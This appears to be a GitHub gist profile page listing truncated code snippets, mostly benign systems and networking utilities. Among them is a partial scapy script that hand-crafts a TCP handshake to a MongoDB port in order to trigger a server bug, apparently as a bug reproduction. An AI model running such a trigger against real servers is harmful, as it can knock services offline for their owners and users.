Skip to content

Instantly share code, notes, and snippets.

View darkk's full-sized avatar

Leonid Evdokimov darkk

View GitHub Profile
@darkk
darkk / waitpid_core_once.c
Created March 27, 2012 13:45
Ugly waitpid_core_once :(
pid_t waitpid_core_once(pid_t pid, int *status, int options)
{
int status_holder;
pid_t retval;
if (!status)
status = &status_holder;
retval = waitpid(pid, status, options);
if (retval > 0 && WIFSIGNALED(*status) && WCOREDUMP(*status)) {
struct rlimit core;
memset(&core, 0xFF, sizeof(core));
@darkk
darkk / pkt-route.dot
Created April 12, 2012 08:53
Thinking about UDP packet routing (redsocks+TPROXY)
digraph routing {
subgraph interfaces {
node [shape = folder];
host_if_inet;
host_if_lxc;
lxc_if;
lxc_if;
}
lxc_default_route [label = "default route"];
@darkk
darkk / bruteforce.py
Created August 16, 2012 11:52
opengarden puzzle
#!/usr/bin/env python
# @see http://opengarden.com/senior-software-engineer.php
# @see http://xkcd.com/287/
from itertools import combinations
l = [
18897109,
12828837,
9461105,
@darkk
darkk / icmp-skbuf-test.py
Created January 4, 2013 17:21
script to find out ICMP bookkeeping overhead.
#!/usr/bin/env python
import sys
import re
import os
import socket as s
import time
import struct
# Per packet rx_queue & tx_queue (SO_RCVBUF, SO_SNDBUF) utilisation according to /proc/net/raw{,6}
#!/bin/sh
exec 2>/dev/null 1>/dev/null
export PATH=$PATH:%%PREFIX%%/bin
logdir=/var/db/mongodb
suffix=.bz2
prefix=mongod.log.
selflog=${prefix}rotate.`date +%Y-%m-%d`
days_to_keep=14
# scapy script to trigger bug in mongod / mongos: https://jira.mongodb.org/browse/SERVER-9109
#
# Do $(iptables -I INPUT -p tcp --dport 12345 -j DROP) at vm host before flooding.
vm = '1.2.3.4' # src
victim = '9.8.7.6' # dst
def f():
syn = IP(src=vm, dst=victim)/TCP(sport=12345, dport=27017, flags="S")
sa = sr1(syn)
ack = IP(src=vm, dst=victim)/TCP(sport=12345, dport=27017, seq=sa.ack, ack=sa.seq+1, flags="A")
#!/usr/bin/env python2
from Crypto.Cipher import DES, DES3
import struct
def run(des_k1):
shown_to_user = []
print "==> Shown to user"
for i in xrange(5):
enc_i = struct.unpack('>Q', des_k1.encrypt(struct.pack('>Q', i)))[0]
@darkk
darkk / rtt.png
Last active October 11, 2015 19:17
rtt.png
@darkk
darkk / Makefile
Last active August 7, 2016 09:19
latency on PPPoA ADSL Annex A on using Lantiq
SHELL=/bin/bash
OUT=echosrv.x86_64 echosrv.mips
CFLAGS=-Wall -Wextra -Wpedantic -O2
.PHONY: all clean upload
all: $(OUT)
clean:
rm -f $(OUT)
echosrv.x86_64: echosrv.c
@darkk
darkk / rnd.darkk.net.ru.lua
Last active June 9, 2017 14:48
PowerDNS recursor LUA code that generates N random IP addresses with specified TTL as a response.
-- uses PowerDNS 4.x, does not work with 3.x
function getnum ( domain )
domain = domain:lower()
ttl, count = string.match(domain, '^(%d+)%.(%d+)%.rnd%.darkk%.net%.ru%.$')
if ttl ~= nil then
return tonumber(ttl), tonumber(count)
end
count = string.match(domain, '^(%d+)%.rnd%.darkk%.net%.ru%.$')
if count ~= nil then